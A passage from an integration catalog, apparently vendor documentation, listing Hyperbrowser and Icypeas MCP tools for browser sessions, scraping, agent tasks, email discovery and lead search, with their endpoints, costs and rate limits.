DELETE https://api.hyperbrowser.ai/api/snapshots/{key}. DELETE /api/v1/hyperbrowser/api/snapshots/{key}. Scopes: api. hyperbrowser_delete_api_volume_by_key (write, destructive) — Delete a volume. DELETE https://api.hyperbrowser.ai/api/volume/{key}. DELETE /api/v1/hyperbrowser/api/volume/{key}. Scopes: api. hyperbrowser_get_api_crawl_by_id (read) — Get crawl job status and results. GET https://api.hyperbrowser.ai/api/crawl/{id}. GET /api/v1/hyperbrowser/api/crawl/{id}. Scopes: api. hyperbrowser_get_api_crawl_by_id_status (read) — Get crawl job status. GET https://api.hyperbrowser.ai/api/crawl/{id}/status. GET /api/v1/hyperbrowser/api/crawl/{id}/status. Scopes: api. hyperbrowser_get_api_extensions_list (read) — List all extensions. GET https://api.hyperbrowser.ai/api/extensions/list. GET /api/v1/hyperbrowser/api/extensions/list. Scopes: api. hyperbrowser_get_api_extract_by_id (read) — Get extract job status and results. GET https://api.hyperbrowser.ai/api/extract/{id}. GET /api/v1/hyperbrowser/api/extract/{id}. Scopes: api. hyperbrowser_get_api_extract_by_id_status (read) — Get extract job status. GET https://api.hyperbrowser.ai/api/extract/{id}/status. GET /api/v1/hyperbrowser/api/extract/{id}/status. Scopes: api. hyperbrowser_get_api_images (read) — Get list of sandbox images. GET https://api.hyperbrowser.ai/api/images. GET /api/v1/hyperbrowser/api/images. Scopes: api. hyperbrowser_get_api_images_builds (read) — Get list of image builds. GET https://api.hyperbrowser.ai/api/images/builds. GET /api/v1/hyperbrowser/api/images/builds. Scopes: api. hyperbrowser_get_api_images_builds_by_buildid (read) — Get image build by ID. GET https://api.hyperbrowser.ai/api/images/builds/{buildId}. GET /api/v1/hyperbrowser/api/images/builds/{buildId}. Scopes: api. hyperbrowser_get_api_profile_by_id (read) — Get profile by ID. GET https://api.hyperbrowser.ai/api/profile/{id}. GET /api/v1/hyperbrowser/api/profile/{id}. Scopes: api. hyperbrowser_get_api_profiles (read) — Get list of profiles. GET https://api.hyperbrowser.ai/api/profiles. GET /api/v1/hyperbrowser/api/profiles. Scopes: api. hyperbrowser_get_api_sandbox_by_id (read) — Get sandbox by ID. GET https://api.hyperbrowser.ai/api/sandbox/{id}. GET /api/v1/hyperbrowser/api/sandbox/{id}. Scopes: api. hyperbrowser_get_api_sandboxes (read) — Get list of sandboxes. GET https://api.hyperbrowser.ai/api/sandboxes. GET /api/v1/hyperbrowser/api/sandboxes. Scopes: api. hyperbrowser_get_api_scrape_batch_by_id (read) — Get batch scrape job status and results. GET https://api.hyperbrowser.ai/api/scrape/batch/{id}. GET /api/v1/hyperbrowser/api/scrape/batch/{id}. Scopes: api. hyperbrowser_get_api_scrape_batch_by_id_status (read) — Get batch scrape job status. GET https://api.hyperbrowser.ai/api/scrape/batch/{id}/status. GET /api/v1/hyperbrowser/api/scrape/batch/{id}/status. Scopes: api. hyperbrowser_get_api_scrape_by_id (read) — Get scrape job status and result. GET https://api.hyperbrowser.ai/api/scrape/{id}. GET /api/v1/hyperbrowser/api/scrape/{id}. Scopes: api. hyperbrowser_get_api_scrape_by_id_status (read) — Get scrape job status. GET https://api.hyperbrowser.ai/api/scrape/{id}/status. GET /api/v1/hyperbrowser/api/scrape/{id}/status. Scopes: api. hyperbrowser_get_api_session_by_id (read) — Get session by ID. GET https://api.hyperbrowser.ai/api/session/{id}. GET /api/v1/hyperbrowser/api/session/{id}. Scopes: api. hyperbrowser_get_api_session_by_id_downloads_url (read) — Get session downloads URL. GET https://api.hyperbrowser.ai/api/session/{id}/downloads-url. GET /api/v1/hyperbrowser/api/session/{id}/downloads-url. Scopes: api. hyperbrowser_get_api_session_by_id_recording_url (read) — Get session recording URL. GET https://api.hyperbrowser.ai/api/session/{id}/recording-url. GET /api/v1/hyperbrowser/api/session/{id}/recording-url. Scopes: api. hyperbrowser_get_api_session_by_id_video_recording_url (read) — Get session video recording URL. GET https://api.hyperbrowser.ai/api/session/{id}/video-recording-url. GET /api/v1/hyperbrowser/api/session/{id}/video-recording-url. Scopes: api. hyperbrowser_get_api_sessions (read) — Get list of sessions. GET https://api.hyperbrowser.ai/api/sessions. GET /api/v1/hyperbrowser/api/sessions. Scopes: api. hyperbrowser_get_api_snapshots (read) — Get list of sandbox snapshots. GET https://api.hyperbrowser.ai/api/snapshots. GET /api/v1/hyperbrowser/api/snapshots. Scopes: api. hyperbrowser_get_api_snapshots_by_key (read) — Get sandbox snapshot. GET https://api.hyperbrowser.ai/api/snapshots/{key}. GET /api/v1/hyperbrowser/api/snapshots/{key}. Scopes: api. hyperbrowser_get_api_task_browser_use_by_id (read) — Get browser use task status and results. GET https://api.hyperbrowser.ai/api/task/browser-use/{id}. GET /api/v1/hyperbrowser/api/task/browser-use/{id}. Scopes: api. hyperbrowser_get_api_task_browser_use_by_id_status (read) — Get browser use task status. GET https://api.hyperbrowser.ai/api/task/browser-use/{id}/status. GET /api/v1/hyperbrowser/api/task/browser-use/{id}/status. Scopes: api. hyperbrowser_get_api_task_claude_computer_use_by_id (read) — Get claude computer use task status and results. GET https://api.hyperbrowser.ai/api/task/claude-computer-use/{id}. GET /api/v1/hyperbrowser/api/task/claude-computer-use/{id}. Scopes: api. hyperbrowser_get_api_task_claude_computer_use_by_id_status (read) — Get claude computer use task status. GET https://api.hyperbrowser.ai/api/task/claude-computer-use/{id}/status. GET /api/v1/hyperbrowser/api/task/claude-computer-use/{id}/status. Scopes: api. hyperbrowser_get_api_task_cua_by_id (read) — Get CUA task status and results. GET https://api.hyperbrowser.ai/api/task/cua/{id}. GET /api/v1/hyperbrowser/api/task/cua/{id}. Scopes: api. hyperbrowser_get_api_task_cua_by_id_status (read) — Get CUA task status. GET https://api.hyperbrowser.ai/api/task/cua/{id}/status. GET /api/v1/hyperbrowser/api/task/cua/{id}/status. Scopes: api. hyperbrowser_get_api_task_gemini_computer_use_by_id (read) — Get gemini computer use task status and results. GET https://api.hyperbrowser.ai/api/task/gemini-computer-use/{id}. GET /api/v1/hyperbrowser/api/task/gemini-computer-use/{id}. Scopes: api. hyperbrowser_get_api_task_gemini_computer_use_by_id_status (read) — Get gemini computer use task status. GET https://api.hyperbrowser.ai/api/task/gemini-computer-use/{id}/status. GET /api/v1/hyperbrowser/api/task/gemini-computer-use/{id}/status. Scopes: api. hyperbrowser_get_api_task_grok_computer_use_by_id (read) — Get grok computer use task status and results. GET https://api.hyperbrowser.ai/api/task/grok-computer-use/{id}. GET /api/v1/hyperbrowser/api/task/grok-computer-use/{id}. Scopes: api. hyperbrowser_get_api_task_grok_computer_use_by_id_status (read) — Get grok computer use task status. GET https://api.hyperbrowser.ai/api/task/grok-computer-use/{id}/status. GET /api/v1/hyperbrowser/api/task/grok-computer-use/{id}/status. Scopes: api. hyperbrowser_get_api_task_hyper_agent_by_id (read) — Get HyperAgent task status and results. GET https://api.hyperbrowser.ai/api/task/hyper-agent/{id}. GET /api/v1/hyperbrowser/api/task/hyper-agent/{id}. Scopes: api. hyperbrowser_get_api_task_hyper_agent_by_id_status (read) — Get HyperAgent task status. GET https://api.hyperbrowser.ai/api/task/hyper-agent/{id}/status. GET /api/v1/hyperbrowser/api/task/hyper-agent/{id}/status. Scopes: api. hyperbrowser_get_api_task_meta_computer_use_by_id (read) — Get meta computer use task status and results. GET https://api.hyperbrowser.ai/api/task/meta-computer-use/{id}. GET /api/v1/hyperbrowser/api/task/meta-computer-use/{id}. Scopes: api. hyperbrowser_get_api_task_meta_computer_use_by_id_status (read) — Get meta computer use task status. GET https://api.hyperbrowser.ai/api/task/meta-computer-use/{id}/status. GET /api/v1/hyperbrowser/api/task/meta-computer-use/{id}/status. Scopes: api. hyperbrowser_get_api_volume (read) — Get list of volumes. GET https://api.hyperbrowser.ai/api/volume. GET /api/v1/hyperbrowser/api/volume. Scopes: api. hyperbrowser_get_api_volume_by_id (read) — Get volume by ID. GET https://api.hyperbrowser.ai/api/volume/{id}. GET /api/v1/hyperbrowser/api/volume/{id}. Scopes: api. hyperbrowser_get_api_web_crawl_by_id (read) — Get web crawl job results. GET https://api.hyperbrowser.ai/api/web/crawl/{id}. Retrieves the status and results of a web crawl job. Results are paginated. GET /api/v1/hyperbrowser/api/web/crawl/{id}. Scopes: api. hyperbrowser_get_api_web_crawl_by_id_status (read) — Get web crawl job status. GET https://api.hyperbrowser.ai/api/web/crawl/{id}/status. Retrieves just the status of a web crawl job without the full results. GET /api/v1/hyperbrowser/api/web/crawl/{id}/status. Scopes: api. hyperbrowser_post_api_crawl (write) — Start a crawl job. POST https://api.hyperbrowser.ai/api/crawl. POST /api/v1/hyperbrowser/api/crawl. Scopes: api. hyperbrowser_post_api_extract (write) — Start an extract job. POST https://api.hyperbrowser.ai/api/extract. POST /api/v1/hyperbrowser/api/extract. Scopes: api. hyperbrowser_post_api_images_builds (write) — Create an image build. POST https://api.hyperbrowser.ai/api/images/builds. POST /api/v1/hyperbrowser/api/images/builds. Scopes: api. hyperbrowser_post_api_images_builds_by_buildid_cancel (write) — Cancel an image build. POST https://api.hyperbrowser.ai/api/images/builds/{buildId}/cancel. POST /api/v1/hyperbrowser/api/images/builds/{buildId}/cancel. Scopes: api. hyperbrowser_post_api_images_builds_by_buildid_complete (write) — Complete an image build upload. POST https://api.hyperbrowser.ai/api/images/builds/{buildId}/complete. POST /api/v1/hyperbrowser/api/images/builds/{buildId}/complete. Scopes: api. hyperbrowser_post_api_profile (write) — Creates a new profile. POST https://api.hyperbrowser.ai/api/profile. POST /api/v1/hyperbrowser/api/profile. Scopes: api. hyperbrowser_post_api_sandbox (write) — Create new sandbox. POST https://api.hyperbrowser.ai/api/sandbox. POST /api/v1/hyperbrowser/api/sandbox. Scopes: api. hyperbrowser_post_api_sandbox_by_id_expose (write) — Expose a sandbox port. POST https://api.hyperbrowser.ai/api/sandbox/{id}/expose. POST /api/v1/hyperbrowser/api/sandbox/{id}/expose. Scopes: api. hyperbrowser_post_api_sandbox_by_id_snapshot (write) — Create a sandbox memory snapshot. POST https://api.hyperbrowser.ai/api/sandbox/{id}/snapshot. POST /api/v1/hyperbrowser/api/sandbox/{id}/snapshot. Scopes: api. hyperbrowser_post_api_sandbox_by_id_unexpose (write) — Remove an exposed sandbox port. POST https://api.hyperbrowser.ai/api/sandbox/{id}/unexpose. POST /api/v1/hyperbrowser/api/sandbox/{id}/unexpose. Scopes: api. hyperbrowser_post_api_scrape (write) — Create new scrape job. POST https://api.hyperbrowser.ai/api/scrape. POST /api/v1/hyperbrowser/api/scrape. Scopes: api. hyperbrowser_post_api_scrape_batch (write) — Start a batch scrape job. POST https://api.hyperbrowser.ai/api/scrape/batch. POST /api/v1/hyperbrowser/api/scrape/batch. Scopes: api. hyperbrowser_post_api_session (write) — Create new session. POST https://api.hyperbrowser.ai/api/session. COST: an open session bills 100 credits per hour (1 credit = $0.001) until it is stopped with hyperbrowser_put_api_session_by_id_stop or its timeout elapses. POST /api/v1/hyperbrowser/api/session. Scopes: api. hyperbrowser_post_api_session_by_id_captcha_evaluate (write) — Run manual CAPTCHA evaluation. POST https://api.hyperbrowser.ai/api/session/{id}/captcha/evaluate. Trigger a bounded CAPTCHA evaluation on an active browser session. Supported CAPTCHA targets are turnstile, cloudflare-challenge, aliexpress, recaptcha, and amazon. POST /api/v1/hyperbrowser/api/session/{id}/captcha/evaluate. Scopes: api. hyperbrowser_post_api_task_browser_use (write) — Start a browser use task. POST https://api.hyperbrowser.ai/api/task/browser-use. COST: agent tasks bill 20 credits per step (1 credit = $0.001) plus the browser session they run in (100 credits per hour). Returns a job id; poll the matching /status and /{id} tools for the result, and stop the task with its /stop tool to end billing early. POST /api/v1/hyperbrowser/api/task/browser-use. Scopes: api. hyperbrowser_post_api_task_claude_computer_use (write) — Start a claude computer use task. POST https://api.hyperbrowser.ai/api/task/claude-computer-use. COST: agent tasks bill 20 credits per step (1 credit = $0.001) plus the browser session they run in (100 credits per hour). Returns a job id; poll the matching /status and /{id} tools for the result, and stop the task with its /stop tool to end billing early. POST /api/v1/hyperbrowser/api/task/claude-computer-use. Scopes: api. hyperbrowser_post_api_task_cua (write) — Start a CUA task. POST https://api.hyperbrowser.ai/api/task/cua. COST: agent tasks bill 20 credits per step (1 credit = $0.001) plus the browser session they run in (100 credits per hour). Returns a job id; poll the matching /status and /{id} tools for the result, and stop the task with its /stop tool to end billing early. POST /api/v1/hyperbrowser/api/task/cua. Scopes: api. hyperbrowser_post_api_task_gemini_computer_use (write) — Start a gemini computer use task. POST https://api.hyperbrowser.ai/api/task/gemini-computer-use. COST: agent tasks bill 20 credits per step (1 credit = $0.001) plus the browser session they run in (100 credits per hour). Returns a job id; poll the matching /status and /{id} tools for the result, and stop the task with its /stop tool to end billing early. POST /api/v1/hyperbrowser/api/task/gemini-computer-use. Scopes: api. hyperbrowser_post_api_task_grok_computer_use (write) — Start a grok computer use task. POST https://api.hyperbrowser.ai/api/task/grok-computer-use. COST: agent tasks bill 20 credits per step (1 credit = $0.001) plus the browser session they run in (100 credits per hour). Returns a job id; poll the matching /status and /{id} tools for the result, and stop the task with its /stop tool to end billing early. POST /api/v1/hyperbrowser/api/task/grok-computer-use. Scopes: api. hyperbrowser_post_api_task_hyper_agent (write) — Start a HyperAgent task. POST https://api.hyperbrowser.ai/api/task/hyper-agent. COST: agent tasks bill 20 credits per step (1 credit = $0.001) plus the browser session they run in (100 credits per hour). Returns a job id; poll the matching /status and /{id} tools for the result, and stop the task with its /stop tool to end billing early. POST /api/v1/hyperbrowser/api/task/hyper-agent. Scopes: api. hyperbrowser_post_api_task_meta_computer_use (write) — Start a meta computer use task. POST https://api.hyperbrowser.ai/api/task/meta-computer-use. COST: agent tasks bill 20 credits per step (1 credit = $0.001) plus the browser session they run in (100 credits per hour). Returns a job id; poll the matching /status and /{id} tools for the result, and stop the task with its /stop tool to end billing early. POST /api/v1/hyperbrowser/api/task/meta-computer-use. Scopes: api. hyperbrowser_post_api_volume (write) — Create a volume. POST https://api.hyperbrowser.ai/api/volume. POST /api/v1/hyperbrowser/api/volume. Scopes: api. hyperbrowser_post_api_web_crawl (write) — Start a web crawl job. POST https://api.hyperbrowser.ai/api/web/crawl. Starts an asynchronous crawl job that follows links from a starting URL and returns content from each page in the specified formats. POST /api/v1/hyperbrowser/api/web/crawl. Scopes: api. hyperbrowser_post_api_web_fetch (write) — Fetch a web page. POST https://api.hyperbrowser.ai/api/web/fetch. Fetches a web page and returns the content in various formats (HTML, Markdown, JSON, screenshot, etc.) POST /api/v1/hyperbrowser/api/web/fetch. Scopes: api. hyperbrowser_post_api_web_search (write) — Search the web. POST https://api.hyperbrowser.ai/api/web/search. Performs a web search and returns search results with titles, URLs, and descriptions. POST /api/v1/hyperbrowser/api/web/search. Scopes: api. hyperbrowser_put_api_sandbox_by_id_network (write) — Update sandbox network policy. PUT https://api.hyperbrowser.ai/api/sandbox/{id}/network. PUT /api/v1/hyperbrowser/api/sandbox/{id}/network. Scopes: api. hyperbrowser_put_api_sandbox_by_id_stop (write) — Stop a sandbox. PUT https://api.hyperbrowser.ai/api/sandbox/{id}/stop. PUT /api/v1/hyperbrowser/api/sandbox/{id}/stop. Scopes: api. hyperbrowser_put_api_session_by_id_stop (write) — Stop a session. PUT https://api.hyperbrowser.ai/api/session/{id}/stop. PUT /api/v1/hyperbrowser/api/session/{id}/stop. Scopes: api. hyperbrowser_put_api_session_by_id_update (write) — Update a running session. PUT https://api.hyperbrowser.ai/api/session/{id}/update. Update supported settings on an active browser session. Supported update types are profile, proxy, screen, and solveCaptchas. PUT /api/v1/hyperbrowser/api/session/{id}/update. Scopes: api. hyperbrowser_put_api_task_browser_use_by_id_stop (write) — Stop a browser use task. PUT https://api.hyperbrowser.ai/api/task/browser-use/{id}/stop. PUT /api/v1/hyperbrowser/api/task/browser-use/{id}/stop. Scopes: api. hyperbrowser_put_api_task_claude_computer_use_by_id_stop (write) — Stop a claude computer use task. PUT https://api.hyperbrowser.ai/api/task/claude-computer-use/{id}/stop. PUT /api/v1/hyperbrowser/api/task/claude-computer-use/{id}/stop. Scopes: api. hyperbrowser_put_api_task_cua_by_id_stop (write) — Stop a CUA task. PUT https://api.hyperbrowser.ai/api/task/cua/{id}/stop. PUT /api/v1/hyperbrowser/api/task/cua/{id}/stop. Scopes: api. hyperbrowser_put_api_task_gemini_computer_use_by_id_stop (write) — Stop a gemini computer use task. PUT https://api.hyperbrowser.ai/api/task/gemini-computer-use/{id}/stop. PUT /api/v1/hyperbrowser/api/task/gemini-computer-use/{id}/stop. Scopes: api. hyperbrowser_put_api_task_grok_computer_use_by_id_stop (write) — Stop a grok computer use task. PUT https://api.hyperbrowser.ai/api/task/grok-computer-use/{id}/stop. PUT /api/v1/hyperbrowser/api/task/grok-computer-use/{id}/stop. Scopes: api. hyperbrowser_put_api_task_hyper_agent_by_id_stop (write) — Stop a HyperAgent task. PUT https://api.hyperbrowser.ai/api/task/hyper-agent/{id}/stop. PUT /api/v1/hyperbrowser/api/task/hyper-agent/{id}/stop. Scopes: api. hyperbrowser_put_api_task_meta_computer_use_by_id_stop (write) — Stop a meta computer use task. PUT https://api.hyperbrowser.ai/api/task/meta-computer-use/{id}/stop. PUT /api/v1/hyperbrowser/api/task/meta-computer-use/{id}/stop. Scopes: api. ================================================================================ ## Icypeas URL: https://www.agenticfabriq.com/integrations/icypeas Section: Integrated Tools Icypeas — 19 MCP tools Provider key: icypeas. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. icypeas_get_scrape_company (read) — Scrape one company via GET /scrape/company. Scrape one company's professional-network page from its URL (`url` is the only argument; `https://www.linkedin.com/company/`). A URL that is not a company page is refused with `wrong_linkedin_url`. A found company costs 0.5 credit; a not-found is a 200 with `success: true` and no company. Cost: 0.5 credit per found company. Rate limit: 20 calls per second. Icypeas reports a rejected INPUT with HTTP 200 and `{"success": false, "validationErrors": [{field, type, message, expected, actual}]}`; this integration raises that as an error naming the offending fields rather than returning it as a success. GET /api/v1/icypeas/scrape/company. Scopes: api. icypeas_get_scrape_profile (read) — Scrape one profile via GET /scrape/profile. Scrape one person's professional-network profile from its URL (`url` is the only argument). Anything that is not a profile URL is refused with `wrong_linkedin_url` (measured; a bare hostname is normalised to `https:///` and still refused), so pass the full `https://www.linkedin.com/in/` form. A found profile costs 1.5 credits; a not-found is a 200 with `success: true` and no profile. Cost: 1.5 credits per found profile. Rate limit: 20 calls per second. Icypeas reports a rejected INPUT with HTTP 200 and `{"success": false, "validationErrors": [{field, type, message, expected, actual}]}`; this integration raises that as an error naming the offending fields rather than returning it as a success. GET /api/v1/icypeas/scrape/profile. Scopes: api. icypeas_post_a_actions_subscription_information (read) — Get subscription and credits via POST /a/actions/subscription-information. Return the connected account's subscription and credit balance: `userId`, `status` (for example `free`), `plan`, `credits` and `quotas.daily`, plus billing ids. Send an EMPTY body: measured 2026-09-20, `{}` answers 200 with the key owner's own record, while the documented `email` field answers **401 `unauthorized_access_error`** for any address that is not the key owner's -- and for a malformed one -- so it is optional here and best left out; that 401 is not a credential failure (a bad key answers 401 `user_not_found_error`). Free, and it is this integration's connection probe: on the hosted connect page the key is checked here before it is stored (the dashboard form stores the key as pasted, and a wrong or revoked key fails at the first call). Cost: free. Rate limit: not listed in Icypeas' published rate-limit table. Icypeas reports a rejected INPUT with HTTP 200 and `{"success": false, "validationErrors": [{field, type, message, expected, actual}]}`; this integration raises that as an error naming the offending fields rather than returning it as a success. POST /api/v1/icypeas/a/actions/subscription-information. Scopes: api. icypeas_post_bulk_search (write) — Start a bulk search via POST /bulk-search. Launch a bulk search over up to 5000 rows in one call. `task` is one of `email-search` (each row is `[firstname, lastname, domainOrCompany]`, with at least one of the two names non-empty), `email-verification` (each row is `[email]`) or `domain-search` (each row is `[domainOrCompany]`); `name` labels the search in the Icypeas app. `custom.externalIds` must be exactly as long as `data` when given, and `custom.includeResultsInWebhook` puts the results into the bulk-done webhook (keep it off above ~1000 rows unless the receiver accepts large POSTs). ASYNCHRONOUS: the reply carries a `file` id and `status: "in_progress"`, not the results. Follow progress with List bulk search files (`{"file": ""}` -- done when `finished` is true), then fetch the rows with Read search results (`{"mode": "bulk", "file": ""}`, up to 100 per page). Icypeas recommends `custom.webhookUrlItem` / `custom.webhookUrlBulkDone` over polling because the two read routes are limited per MINUTE (30 and 15 calls). Cost: per row, the same as the single route for that task (email-search 1 per found email, email-verification 0.1 per tested email, domain-search 1 per domain with results). Rate limit: 1 call per second, up to 5000 rows per call. Icypeas reports a rejected INPUT with HTTP 200 and `{"success": false, "validationErrors": [{field, type, message, expected, actual}]}`; this integration raises that as an error naming the offending fields rather than returning it as a success. POST /api/v1/icypeas/bulk-search. Scopes: api. icypeas_post_bulk_single_searchs_read (read) — Read search results via POST /bulk-single-searchs/read. Read search results -- the one place every search's outcome comes back from. Three ways to ask, and at least one of `id` or `mode` is required (measured: `{}` answers `mode_or_id_should_be_used_error`): `{"id": "<_id>"}` fetches ONE item by the `_id` a single search returned (an unknown id answers `search_not_found_error`); `{"mode": "single"}` lists your single searches newest first, optionally filtered by `type` (`email-search`, `domain-search`, `email-verification`, ...); `{"mode": "bulk", "file": ""}` lists the rows of one bulk search in data order, or `{"mode": "bulk"}` alone lists every bulk row (and `type` is NOT allowed with mode bulk). Each item carries `status` (see the single-search tools for the terminal statuses), `results` (found emails with `certainty` and `mxProvider`, name, phones), `userData.externalId` and `system` timestamps. PAGINATION is cursor-shaped: `limit` (default 10, max 100) on the first call; the reply's `sorts` array is the cursor -- pass it back with `next: true` for the following page (`false` for the previous), and stop when a page comes back empty. This route is limited to 30 calls per MINUTE, so poll gently or use webhooks. Cost: free. Rate limit: 30 calls per MINUTE. Icypeas reports a rejected INPUT with HTTP 200 and `{"success": false, "validationErrors": [{field, type, message, expected, actual}]}`; this integration raises that as an error naming the offending fields rather than returning it as a success. POST /api/v1/icypeas/bulk-single-searchs/read. Scopes: api. icypeas_post_domain_search (write) — Scan one domain for role-based addresses via POST /domain-search. Start a scan of one domain (or company name) for its generic, role-based addresses -- contact@, admin@, sales@ and the like. ASYNCHRONOUS: the reply is not the result. It is `{"success": true, "item": {"_id": "...", "status": "NONE"}}` -- keep `item._id` and fetch the result with Read search results (`{"id": "<_id>"}`) after a few seconds. A status of NONE, SCHEDULED or IN_PROGRESS means not done yet: wait and read again. Terminal statuses are FOUND / DEBITED (a result, credits taken), NOT_FOUND / DEBITED_NOT_FOUND (processed, nothing found), BAD_INPUT, INSUFFICIENT_FUNDS and ABORTED. `custom.webhookUrl` is the alternative to polling: Icypeas POSTs the finished item to it. `custom.externalId` is echoed back in the result's `userData` and is not checked for uniqueness. Cost: 1 credit if any email is found for the domain. Rate limit: 10 calls per second. Icypeas reports a rejected INPUT with HTTP 200 and `{"success": false, "validationErrors": [{field, type, message, expected, actual}]}`; this integration raises that as an error naming the offending fields rather than returning it as a success. POST /api/v1/icypeas/domain-search. Scopes: api. icypeas_post_email_search (write) — Find one email address via POST /email-search. Start a single email-discovery search for one person: give `domainOrCompany` (the company's domain or name) plus `firstname` and/or `lastname` -- at least ONE of the two names is mandatory (measured: both blank answers `first_last_mandatory_discovery_error`). Do not loop this for a list of people; use Start a bulk search, which takes up to 5000 rows. ASYNCHRONOUS: the reply is not the result. It is `{"success": true, "item": {"_id": "...", "status": "NONE"}}` -- keep `item._id` and fetch the result with Read search results (`{"id": "<_id>"}`) after a few seconds. A status of NONE, SCHEDULED or IN_PROGRESS means not done yet: wait and read again. Terminal statuses are FOUND / DEBITED (a result, credits taken), NOT_FOUND / DEBITED_NOT_FOUND (processed, nothing found), BAD_INPUT, INSUFFICIENT_FUNDS and ABORTED. `custom.webhookUrl` is the alternative to polling: Icypeas POSTs the finished item to it. `custom.externalId` is echoed back in the result's `userData` and is not checked for uniqueness. Cost: 1 credit per found email. Rate limit: 10 calls per second. Icypeas reports a rejected INPUT with HTTP 200 and `{"success": false, "validationErrors": [{field, type, message, expected, actual}]}`; this integration raises that as an error naming the offending fields rather than returning it as a success. POST /api/v1/icypeas/email-search. Scopes: api. icypeas_post_email_verification (write) — Verify one email address via POST /email-verification. Start a single verification of one email address: does it exist and is it deliverable. The result's `certainty` grades the answer (for example `ultra_sure`) and `mxProvider` names the mail host. For many addresses use Start a bulk search with task `email-verification`. ASYNCHRONOUS: the reply is not the result. It is `{"success": true, "item": {"_id": "...", "status": "NONE"}}` -- keep `item._id` and fetch the result with Read search results (`{"id": "<_id>"}`) after a few seconds. A status of NONE, SCHEDULED or IN_PROGRESS means not done yet: wait and read again. Terminal statuses are FOUND / DEBITED (a result, credits taken), NOT_FOUND / DEBITED_NOT_FOUND (processed, nothing found), BAD_INPUT, INSUFFICIENT_FUNDS and ABORTED. `custom.webhookUrl` is the alternative to polling: Icypeas POSTs the finished item to it. `custom.externalId` is echoed back in the result's `userData` and is not checked for uniqueness. Cost: 0.1 credit per tested email. Rate limit: 10 calls per second. Icypeas reports a rejected INPUT with HTTP 200 and `{"success": false, "validationErrors": [{field, type, message, expected, actual}]}`; this integration raises that as an error naming the offending fields rather than returning it as a success. POST /api/v1/icypeas/email-verification. Scopes: api. icypeas_post_find_companies (read) — Find companies via POST /find-companies. Return the companies matching `query` from Icypeas' lead database, `pagination.size` (1-200, default 100) at a time, at 0.02 credit per returned company -- size the query with Count companies matching a query first. Same filters as the count route. PAGINATION: `pagination: {"size": N}` on the first call, then pass back the `pagination.token` each reply hands you, with the same `query`, until none is returned; tokens expire. SYNCHRONOUS: the companies are in the reply (measured 2026-09-20: `{"name": {"include": ["icypeas"]}}` with size 1 -> total 1 and one full lead). Each lead carries `name`, `lid`, `urn`, `url`, `description`, `address`, `numberOfEmployees`, `headcountRange`, `industry`, `type`, `website`, `specialties` and `_id`. Each call is also recorded as a 'Company search' file visible in List bulk search files. Cost: 0.02 credit per returned result (100 results = 2 credits). Rate limit: 30 calls per second. Icypeas reports a rejected INPUT with HTTP 200 and `{"success": false, "validationErrors": [{field, type, message, expected, actual}]}`; this integration raises that as an error naming the offending fields rather than returning it as a success. POST /api/v1/icypeas/find-companies. Scopes: api. icypeas_post_find_companies_count (read) — Count companies matching a query via POST /find-companies/count. Count the companies in Icypeas' lead database matching `query`, free of charge (measured: `{"query": {"name": {"include": ["icypeas"]}}}` -> `{"total": 1, "success": true}`). `query` is an object of named filters: `name`, `lid` (the public profile id at the end of the company URL), `urn` (numeric id), `companyId` (domain, URN, URL or vanity name), `type` (Privately Held, Public Company, Nonprofit, ...), `industry`, `location`, `domain`, `keyword`, and the numeric ranges `headcount`, `revenue` and `headcountGrowth`. Text filters take `{"include": [...], "exclude": [...]}`; ranges take `{">": 10, "<=": 500}`. A location like "Paris, France" only matches when every comma-separated part matches. An unknown filter or an empty query is refused. Cost: free. Rate limit: 10 calls per second. Icypeas reports a rejected INPUT with HTTP 200 and `{"success": false, "validationErrors": [{field, type, message, expected, actual}]}`; this integration raises that as an error naming the offending fields rather than returning it as a success. POST /api/v1/icypeas/find-companies/count. Scopes: api. icypeas_post_find_people (read) — Find people via POST /find-people. Return the people matching `query` from Icypeas' lead database, `pagination.size` (1-200, default 100) at a time, at 0.02 credit per returned person -- 100 results cost 2 credits, so run Count people matching a query first. `query` takes the same filters as the count route (see that tool). PAGINATION: send `pagination: {"size": N}` on the first call; when more remain the reply carries `pagination.token`, which you pass back unchanged (with the SAME `query` -- changing it mid-walk is undefined) until no token comes back. Tokens expire. The reply is `{"success", "total", "leads": [...], "pagination"?}` -- SYNCHRONOUS, the leads are in it (measured 2026-09-20: size 1 returned one full lead). Each call is also recorded as a 'Lead search' file (task `fleads-profile-search`) visible in List bulk search files. Cost: 0.02 credit per returned result (100 results = 2 credits). Rate limit: 30 calls per second. Icypeas reports a rejected INPUT with HTTP 200 and `{"success": false, "validationErrors": [{field, type, message, expected, actual}]}`; this integration raises that as an error naming the offending fields rather than returning it as a success. POST /api/v1/icypeas/find-people. Scopes: api. icypeas_post_find_people_count (read) — Count people matching a query via POST /find-people/count. Count the people in Icypeas' lead database matching `query`, without returning any of them and without spending credits. Use it to size a query before Find people bills 0.02 credit per returned person. `query` is an object of named filters -- `firstname`, `lastname`, `currentJobTitle`, `pastJobTitle`, `school`, `languages`, `skills`, `location` / `profileLocation` / `workLocation`, `keyword`, `currentCompanyName`, `pastCompanyName`, `currentCompanyId`, `currentCompanyWebsite`, `currentCompany.type`, `currentCompany.industry`, `currentCompany.location`, `currentCompany.headcount`, `currentCompany.headcountGrowth`, `currentCompany.revenue`, `currentCompany.keyword` and their `pastCompany*` twins. Text filters take `{"include": [...], "exclude": [...]}` (200 values per array); numeric ones take a range `{">=": 5, "<": 10}`; headcount growth takes `{"min", "max", "timespan": "6months"|"12months"|"24months"}`. An unknown filter name is refused (`invalid_keys_in_query_error`), and an EMPTY query is refused too (`empty_query_error`) -- at least one filter is required. Every `current*` filter applies to the SAME current job. Cost: free. Rate limit: 10 calls per second. Icypeas reports a rejected INPUT with HTTP 200 and `{"success": false, "validationErrors": [{field, type, message, expected, actual}]}`; this integration raises that as an error naming the offending fields rather than returning it as a success. POST /api/v1/icypeas/find-people/count. Scopes: api. icypeas_post_reverse_email_lookup (write) — Reverse-lookup one email address via POST /reverse-email-lookup. Find the professional-network profile URL behind ONE professional email address. This is the most expensive call on the platform (10 credits per FOUND profile; a miss is free), so confirm the address is worth it. The reply says whether a URL was found; a not-found is a 200 with `success: true` and no URL, not an error. Cost: 10 credits per found 